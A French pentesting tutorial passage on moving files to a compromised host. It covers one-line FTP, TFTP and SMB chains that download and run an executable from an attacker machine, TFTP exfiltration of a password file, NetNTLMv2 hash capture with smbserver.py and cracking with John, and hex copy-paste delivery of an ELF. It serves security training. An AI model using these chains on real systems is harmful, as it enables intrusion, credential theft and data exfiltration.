Dans le cas où l'exploit consiste en une injection de commande, l'implémentation du FTP de Windows peut prendre un script de commandes pour établir une connexion anonyme directement à partir de la ligne de commande en spécifiant les arguments -A -s <cmdfile>. Il faut donc construire le fichier de commande FTP, invoquer le client FTP puis l’exécutable uploadé en une seule commande. 

Voici un exemple avec en rouge le résultat de l'exécution de prog.exe :

C:> echo open 192.168.1.28 > ftp.cmd & echo binary >> ftp.cmd & echo get prog.exe >> ftp.cmd & echo quit >> ftp.cmd & ftp.exe -A -s:ftp.cmd & prog.exe
ftp> open 192.168.1.28
Connecté à 192.168.1.28.
220 pyftpdlib 1.4.0 ready.
331 Username ok, send password.
230 Login successful.
Ouverture de session anonyme en tant que User@LAB-W7
ftp> binary
200 Type set to: Binary.
ftp> get prog.exe
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp : 384685 octets reçus en 0,00 secondes à 384685000,00 Ko/s.
ftp> quit
221 Goodbye.
Hello world!

Exemple avec le client ftp sou Linux
$ echo -e "quote USER anonymous\nquote PASS password\nbinary\nget prog.exe\nquit\n" > ftp.cmd &
& ftp -i -n 192.168.1.50 < ftp.cmd && chmod +x prog.exe && ./prog.exe
Hello world!

Certain client Windows ne possède pas le commutateur -A (anonynous), la syntaxe requiert une identification anonyme : 

C:\> echo open 192.168.1.28 > ftp.cmd & echo anonymous >> ftp.cmd & echo pass >> ftp.cmd & echo binary >> ftp.cmd & echo get prog.exe >> ftp.cmd & echo quit >> ftp.cmd & ftp.exe -s:ftp.cmd & prog.exe


Transfert en TFTP

Le protocole TFTP offre une alternative lorsque tftp est installé sur le système. Auparavant, il était installé par défaut dans Windows XP, mais il doit maintenant être activé manuellement sur les versions récentes de Windows. Si le système Windows possède un client tftp cela permet d’uploader ou d'exfiltrer des fichiers en une seule commande.

Démarrage du serveur TFTP

Kali est livré avec le serveur TFTP atftpd, qui peut être démarré avec la commande  :

$ service atftpd start

TFTP en Python

Un serveur TFTP en python peut être démarré avec :

$ sudo apt-get install python-tftpy
$ sudo python TFTPSimpleServer.py /tmp 69
[*] Starting TFTP listen on port 69 /tmp

Code source de TFTPSimpleServer.py

$ cat TFTPSimpleServer.py  
#!/usr/bin/env python

import tftpy
import sys

usage = "Usage: %s <rootdir> <port>\n\tdefault port 69 and rootdir \'/tmp\'" % (sys.argv[0])

port = 69
rootdir = "/tmp"
host = "0.0.0.0"

def tftpd(host, port, rootdir):
   try:
       print "[*] Starting TFTP listen on port %d %s" % (port, rootdir)  
       server = tftpy.TftpServer(rootdir)
       server.listen(host, port)
   except Exception, e:
       print "[-] TFTPD failed on %d %s " % (port, rootdir)

if len(sys.argv) == 3:
   port = int(sys.argv[2])
if len(sys.argv) >= 2:
   rootdir = sys.argv[1]
   if sys.argv[1] == "-h" or sys.argv[1] == "--help":
      sys.exit(usage)

tftpd(host, port, rootdir)

TFTP avec Metasploit

Metasploit possède un module serveur TFTP dans auxiliary/server/tftp. Il faut définir les options du module avec la variable TFTPROOT qui détermine le répertoire.

sudo msfconsole
msf> use auxiliary/server/tftp
msf auxiliary(tftp) > set TFTPROOT /tmp
TFTPROOT => /tmp
msf auxiliary(tftp) > exploit
[*] Auxiliary module execution completed
[*] Starting TFTP server on 0.0.0.0:69…
[*] Uploaded files will be saved in /tmp

Client TFTP

En supposant que le client tftp est présent sur la cible Windows ou Linux, il est possible de télécharger un fichier sur la cible. TFTP ne nécessite aucune authentification, il suffit simplement d'utiliser l'indicateur -i et l'action GET.

C: \> tftp -i 192.168.1.28 GET prog.exe


Pour exfiltrer les fichiers via TFTP il faut utiliser l'action PUT.

C: \> tftp -i 192.168.1.28 PUT passwd.txt


Busybox est un jeu de commande POSIX pour système embarqué. Il est souvent compilé avec le support du client tftp. Il est quasi systématique sur une palteforme embarquée disposant d'un noyau Linux. Il est même présent sur certaines distributions Linux standard. Pour un téléchargement, il faut utiliser les options get (-g) du fichier remote (-r <file>) en spécifiant le serveur et le port :

$ busybox tftp -g -r prog.exe 192.168.1.28 69
prog.exe             100% ***********************************************|     1   0:00:00 ETA


TFTP est un moyen pratique et simple de transférer des fichiers car il ne nécessite pas d'authentification et une simple commande en ligne est suffisante.

Transfert en SMB

Le protocole SMB est le protocole à privilégier pour transférer un fichier vers une cible Windows. SMB ne nécessite aucune commande spéciale car les commandes Windows supportent nativement les noms de fichiers UNC. Ainsi, il suffit d'utiliser les commandes standard avec des chemins UNC et Windows gère le transfert de fichier ou l'action. La cerise sur le gâteau est que Windows supporte l'exécution de fichiers comportant un chemin en notation UNC. En conséquence, il est possible de télécharger et d'exécuter une charge utile avec une simple commande en ligne.

Démarrage d'un serveur SMB

Si SMB ou Samba est installé sur le système du pentester, alors il est possible de l'utiliser, mais l'intérêt est d'utiliser des serveurs plus légers et simples qui acceptent n'importe qu'elle authentification et servent ou acceptent des fichiers.

Un tel serveur existe en Pyhton/ il s'agit de smbserver.py appartenant au projet Impacket https://github.com/CoreSecurity/impacket.

Installation smbserver.py

Depuis github :

$ wget https://github.com/CoreSecurity/impacket/releases/download/impacket_0_9_15/impacket-0.9.15.tar.gz
$ tar xvf impacket-0.9.15.tar.gz
$ cd impacket-0.9.15/
$ sudo python setup.py install

Pour lancer un serveur SMB sur le port 445, il suffit de spécifier un nom de partage et le chemin du répertoire à partager:

$ sudo smbserver.py <shareName> <sharePath>
$ sudo smbserver.py SERVER /tmp

Le script python ne requiert pas de configuration particulière, il écoute sur le port TCP 445 et accepte toute authentification. De surcroît, il affiche les hashs en réponse au challenge pour tous les systèmes se connectant. 

Voici un test depuis un système Windows :

C:\> net view \\192.168.1.28
Ressources partagées de \\192.168.1.28

(null)

Nom du partage  Type    Utilisé comme  Commentaire

----------------------------------------------------------
SERVER          Disque
La commande s'est terminée correctement.


Le partage SERVER peut être utilisé avec les commandes usuelles dir, copy, etc. tout fonctionne simplement :

C:\> dir \\192.168.1.28\SERVER\disk
 Le volume dans le lecteur \\192.168.1.28\SERVER n'a pas de nom.
 Le numéro de série du volume est ABCD-EFAA

 Répertoire de \\192.168.1.28\SERVER\disk

07/07/2017  15:17    <REP>          .
07/07/2017  15:17    <REP>          ..
07/07/2017  15:17           384 685 prog.exe
               1 fichier(s)          401 069 octets
               2 Rép(s)  15 207 469 056 octets libres

Exécution du programme sur le serveur depuis le client Windows

C:\> \\192.168.1.28\SERVER\disk\prog.exe
Hello world!

Copie d'un fichier et exécution

C:\> copy \\192.168.1.28\SERVER\disk\prog.exe . & prog.exe
        1 fichier(s) copié(s).
Hello world!

Cassage du hash NTLMv2

L'affichage produit côté serveur (smbserver.py) affiche à chaque accès au partage le hash NetNTLMv2 pour l'utilisateur de Windows. Ces hashs peuvent être cassés avec John ou Hashcat.

En copiant le hash dans un fichier :

$ cat hash.txt 
Pascal::LAB-W7:4141414141414141:aad022226b5746cbf314f7a29ae9dc06:010100000000000000c2611424f7d201f831165d0e88b42300000000010010007000730046004d006a00620043006a00020010006f00670053007900520071006f006400030010007000730046004d006a00620043006a00040010006f00670053007900520071006f0064000700080000c2611424f7d201060004000200000008003000300000000000000001000000002000003e4e2b90830b798c79fd20be87a68a0939207e76f09534261f3f0271ef92fd4a0a001000000000000000000000000000000000000900220063006900660073002f003100390032002e003100360038002e0031002e0032003800000000000000000000000000


Puis on lance john avec le cryptosystème NTLMv2

john --format=netntlmv2 /tmp/hash.txt  
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pascal           (Pascal)
1g 0:00:00:00 DONE 1/3 (2017-07-07 15:34) 2.083g/s 116.6p/s 116.6c/s 116.6C/s W7pascal..pascal
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Transfert hexa par copier/coller

L'idée est de profiter d'un shell obtenu sur la cible pour télécharger un exécutable en le copiant dans un fichier via un format texte hexadécimal. Pour cela un éditeur de texte fait l'affaire. Ensuite, une conversion en binaire avec application des droits d'exécution  permet d'exécuter le programme sur la cible.

Format ELF sour Linux

Conversion en hexa d'un fichier ELF :

attacker$ xxd -p pgm 
7f454c4602010100000000000000000002003e0001000000300440000000
00004000000000000000d819000000000000000000004000380009004000
1f001c000600000005000000400000000000000040004000000000004000
[...]
80000000000000018000000000000000900000003000000000000000000
00000000000000000000b816000000000000120200000000000000000000
0000000001000000000000000000000000000000


Copier/coller dans un éditeur sur la cible

victim$ vim hex
[...]<insert> + copier/coller

Conversion en binaire, ajout droit d'exécution et lancement du programme :

victim$ xxd -r -p hex > bin && file bin
bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8cccb424c52c7c54cc8e2da4df3505c98a0ffb0b, not stripped
victim$ chmod +x bin && ./bin
You have been hacked!



A faire 

Documentation pour des serveurs
  •  HTTPS en Python
  • Serveur syslog
  •  ncat et netcat